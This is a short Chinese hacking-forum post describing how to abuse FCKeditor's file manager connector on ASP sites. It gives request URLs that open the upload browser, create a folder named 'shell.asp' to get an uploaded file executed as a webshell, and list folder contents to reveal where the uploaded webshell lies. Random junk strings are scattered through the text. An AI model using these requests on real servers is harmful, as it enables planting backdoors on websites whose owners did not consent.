中国网络渗透测试联盟

标题: fckeditor找上传路径方法 [打印本页]

---

作者: admin    时间: 2013-10-17 19:37
标题: fckeditor找上传路径方法
网上流行着是上传是这样子的

http://localhost/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=../../connectors/asp/connector.asp
http://localhost/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
5 s9 N3 E# g% O" H
. f# {1 T7 h8 b$ b2 S上传后老找不到路径，测了一下，我发现

) l- Y: K0 ^( U5 n1 H8 C! M* PFCKeditor3/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
8 v- D! _, b) M' \' h9 f$ O
可以爆出路径，显示以下内容
: ]& n+ ?1 {- o
: Y$ L0 y  S1 E) ^$ J# ^2 J
8 x' S/ D) i* ?# W$ R得出路径，直接打开就见到马子
9 ~0 A# f( p  l2 w4 _. B7 d

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2